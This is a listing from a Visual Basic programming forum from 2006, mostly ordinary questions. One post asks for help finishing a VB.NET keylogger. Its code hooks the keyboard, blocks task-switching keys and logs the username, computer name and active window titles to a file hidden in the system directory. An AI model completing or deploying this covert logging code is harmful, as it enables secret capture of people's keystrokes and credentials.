Click here to Skip to main content
15,905,867 members
Home / Discussions / Visual Basic
   

Visual Basic

 
QuestionProblem with form loading Pin
wliong7-Apr-06 5:34
wliong7-Apr-06 5:34 
AnswerRe: Problem with form loading Pin
Purple Monk7-Apr-06 5:55
Purple Monk7-Apr-06 5:55 
GeneralRe: Problem with form loading Pin
wliong7-Apr-06 6:41
wliong7-Apr-06 6:41 
Questionconverting a report to PDF and saving it(in VB 6.0) Pin
dex58ter7-Apr-06 4:10
dex58ter7-Apr-06 4:10 
AnswerRe: converting a report to PDF and saving it(in VB 6.0) Pin
Vikrant Badhai7-Apr-06 23:38
Vikrant Badhai7-Apr-06 23:38 
QuestionPrintPreviewDialog Class - Default Title Pin
paas7-Apr-06 3:45
paas7-Apr-06 3:45 
AnswerRe: PrintPreviewDialog Class - Default Title Pin
paas7-Apr-06 9:43
paas7-Apr-06 9:43 
Questioni have seriously problem with vb.net (hook) Pin
bkarasa7-Apr-06 2:09
bkarasa7-Apr-06 2:09 
Hi friends;

i am working on this,i want get all keypress buttons and write in a txt (i already finished create txt,write in txt a date and getusername bla bla bla)my problem i want to know how can i start keyboard hook and how can i make writer key by key and how stop too(with parameters if have) i did this project before vb 6.0 but i am feeling myself like a moron with this vb.net

please help

Imports System.Runtime.InteropServices

Imports System.Reflection

Imports System.Drawing

Imports System.Threading

Module keyboard

Public Declare Function UnhookWindowsHookEx Lib "user32" _

(ByVal hHook As Integer) As Integer

Public Declare Function SetWindowsHookEx Lib "user32" _

Alias "SetWindowsHookExA" (ByVal idHook As Integer, _

ByVal lpfn As KeyboardHookDelegate, ByVal hmod As Integer, _

ByVal dwThreadId As Integer) As Integer

Private Declare Function GetAsyncKeyState Lib "user32" _

(ByVal vKey As Integer) As Integer

Private Declare Function CallNextHookEx Lib "user32" _

(ByVal hHook As Integer, _

ByVal nCode As Integer, _

ByVal wParam As Integer, _

ByVal lParam As KBDLLHOOKSTRUCT) As Integer

Public Structure KBDLLHOOKSTRUCT

Public vkCode As Integer

Public scanCode As Integer

Public flags As Integer

Public time As Integer

Public dwExtraInfo As Integer

End Structure

' Low-Level Keyboard Constants

Private Const HC_ACTION As Integer = 0

Private Const LLKHF_EXTENDED As Integer = &H1

Private Const LLKHF_INJECTED As Integer = &H10

Private Const LLKHF_ALTDOWN As Integer = &H20

Private Const LLKHF_UP As Integer = &H80

' Virtual Keys

Public Const VK_TAB = &H9

Public Const VK_CONTROL = &H11

Public Const VK_ESCAPE = &H1B

Public Const VK_DELETE = &H2E

Private Const WH_KEYBOARD_LL As Integer = 13&

Public KeyboardHandle As Integer

' Implement this function to block as many

' key combinations as you'd like

Public Function IsHooked( _

ByRef Hookstruct As KBDLLHOOKSTRUCT) As Boolean

Debug.WriteLine("Hookstruct.vkCode: " & Hookstruct.vkCode)

Debug.WriteLine(Hookstruct.vkCode = VK_ESCAPE)

Debug.WriteLine(Hookstruct.vkCode = VK_TAB)

If (Hookstruct.vkCode = VK_ESCAPE) And _

CBool(GetAsyncKeyState(VK_CONTROL) _

And &H8000) Then

Call HookedState("Ctrl + Esc blocked")

Return True

End If

If (Hookstruct.vkCode = VK_TAB) And _

CBool(Hookstruct.flags And _

LLKHF_ALTDOWN) Then

Call HookedState("Alt + Tab blockd")

Return True

End If

If (Hookstruct.vkCode = VK_ESCAPE) And _

CBool(Hookstruct.flags And _

LLKHF_ALTDOWN) Then

Call HookedState("Alt + Escape blocked")

Return True

End If

Return False

End Function

Private Sub HookedState(ByVal Text As String)

Debug.WriteLine(Text)

End Sub

Public Function KeyboardCallback(ByVal Code As Integer, _

ByVal wParam As Integer, _

ByRef lParam As KBDLLHOOKSTRUCT) As Integer

If (Code = HC_ACTION) Then

Debug.WriteLine("Calling IsHooked")

If (IsHooked(lParam)) Then

Return 1

End If

End If

Return CallNextHookEx(KeyboardHandle, _

Code, wParam, lParam)

End Function

Public Delegate Function KeyboardHookDelegate( _

ByVal Code As Integer, _

ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) _

As Integer

_

Private callback As KeyboardHookDelegate

Public Sub HookKeyboard()

callback = New KeyboardHookDelegate(AddressOf KeyboardCallback)

KeyboardHandle = SetWindowsHookEx( _

WH_KEYBOARD_LL, callback, _

Marshal.GetHINSTANCE( _

[Assembly].GetExecutingAssembly.GetModules()(0)).ToInt32, 0)

Call CheckHooked()

End Sub

Public Sub CheckHooked()

If (Hooked()) Then

Debug.WriteLine("Keyboard hooked")

Else

Debug.WriteLine("Keyboard hook failed: " & Err.LastDllError)

End If

End Sub

Private Function Hooked()

Hooked = KeyboardHandle <> 0

End Function

Public Sub UnhookKeyboard()

If (Hooked()) Then

Call UnhookWindowsHookEx(KeyboardHandle)

End If

End Sub

End Module


-------------------------------------------------------------------------
Imports System.IO

Imports System.Windows.Forms

Imports System.Text

Imports System

Imports System.Runtime.InteropServices

Imports System.Reflection.Assembly

Public Class Form1

Inherits System.Windows.Forms.Form

Declare Function GetForegroundWindow Lib "user32" Alias "GetForegroundWindow" () As Integer

Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Integer) As Integer

Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Integer, ByVal lpString As String, ByVal cch As Integer) As Integer

Dim systemdirectory As String = (System.Environment.SystemDirectory)

Dim dosyaadi As String = (systemdirectory & "\bora.txt")

Dim computername As String = (System.Windows.Forms.SystemInformation.ComputerName.ToString)

Dim fso As New Scripting.FileSystemObject

Dim txt As Scripting.TextStream

Dim strinfo As String

Dim kullaniciadi As String = (System.Environment.UserName)

Function raporolustur()

'Sistem klasörünü bul

Dim systemdirectory As String = (System.Environment.SystemDirectory)

'Sistem klasörüne txt dosya aç

Dim dosyaadi As String = (systemdirectory & "\bora.txt")

'Açılan txt dosyaya gerekenleri yaz

txt = fso.OpenTextFile(dosyaadi, Scripting.IOMode.ForAppending, True)

'Başladığında zamanı ve tarihi yaz

txt.WriteLine(("BAŞLADİ " & Now))

Dim OBJNET As Object

OBJNET = CreateObject("WScript.NetWork")

strinfo = "Kullanici Adi: " & kullaniciadi & vbCrLf & _

"Bilgisayar Adi: " & computername & vbCrLf

txt.WriteLine(vbNewLine & strinfo)

End Function

Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load

raporolustur()

Timer1.Enabled = True

End Sub

Private m_LastHwnd As Integer

Private Function GetWindowTitle(ByVal window_hwnd As Integer) As String

Dim length As Integer

length = GetWindowTextLength(window_hwnd) + 1

If length <= 1 Then

Return "<<<" & window_hwnd.ToString & ">>>"

Else

Dim buf As String = Space$(length)

length = GetWindowText(window_hwnd, buf, length)

Return buf.Substring(0, length)

End If

End Function

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

Dim fg_hwnd As Long = GetForegroundWindow()

If m_LastHwnd = fg_hwnd Then Exit Sub

m_LastHwnd = fg_hwnd

txt.WriteLine(Text:=Now.ToString("h:mm:ss") & "<<" + GetWindowTitle(fg_hwnd) & ">>")

End Sub

End Class
AnswerRe: i have seriously problem with vb.net (hook) Pin
Purple Monk7-Apr-06 2:20
Purple Monk7-Apr-06 2:20 
GeneralRe: i have seriously problem with vb.net (hook) Pin
bkarasa7-Apr-06 3:07
bkarasa7-Apr-06 3:07 
GeneralRe: i have seriously problem with vb.net (hook) Pin
Purple Monk7-Apr-06 5:38
Purple Monk7-Apr-06 5:38 
GeneralRe: i have seriously problem with vb.net (hook) Pin
bkarasa7-Apr-06 14:13
bkarasa7-Apr-06 14:13 
GeneralRe: i have seriously problem with vb.net (hook) Pin
Purple Monk7-Apr-06 5:46
Purple Monk7-Apr-06 5:46 
GeneralRe: i have seriously problem with vb.net (hook) Pin
bkarasa10-Apr-06 13:17
bkarasa10-Apr-06 13:17 
QuestionAfter build Pin
Mr kilany7-Apr-06 1:08
Mr kilany7-Apr-06 1:08 
Questionhow can i use the timer tool in vb.net Pin
Mr kilany7-Apr-06 0:47
Mr kilany7-Apr-06 0:47 
AnswerRe: how can i use the timer tool in vb.net Pin
Chatura Dilan7-Apr-06 1:03
Chatura Dilan7-Apr-06 1:03 
Questioni need to read file from access and notepad Pin
Mr kilany7-Apr-06 0:45
Mr kilany7-Apr-06 0:45 
AnswerRe: i need to read file from access and notepad Pin
Greeky7-Apr-06 1:35
Greeky7-Apr-06 1:35 
QuestionI need to add the button of a datagrid column Can anyone guide me as to how this is done. Pin
Aayush Singh7-Apr-06 0:17
Aayush Singh7-Apr-06 0:17 
AnswerRe: I need to add the button of a datagrid column Can anyone guide me as to how this is done. Pin
Greeky7-Apr-06 1:33
Greeky7-Apr-06 1:33 
QuestionUnhandled Errors Pin
Purple Monk7-Apr-06 0:08
Purple Monk7-Apr-06 0:08 
QuestionHELP ON QUICK REPORTS Pin
dex58ter6-Apr-06 23:54
dex58ter6-Apr-06 23:54 
QuestionWINDOWS MENU Pin
Greeky6-Apr-06 23:53
Greeky6-Apr-06 23:53 
AnswerRe: WINDOWS MENU Pin
Chatura Dilan7-Apr-06 0:49
Chatura Dilan7-Apr-06 0:49 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.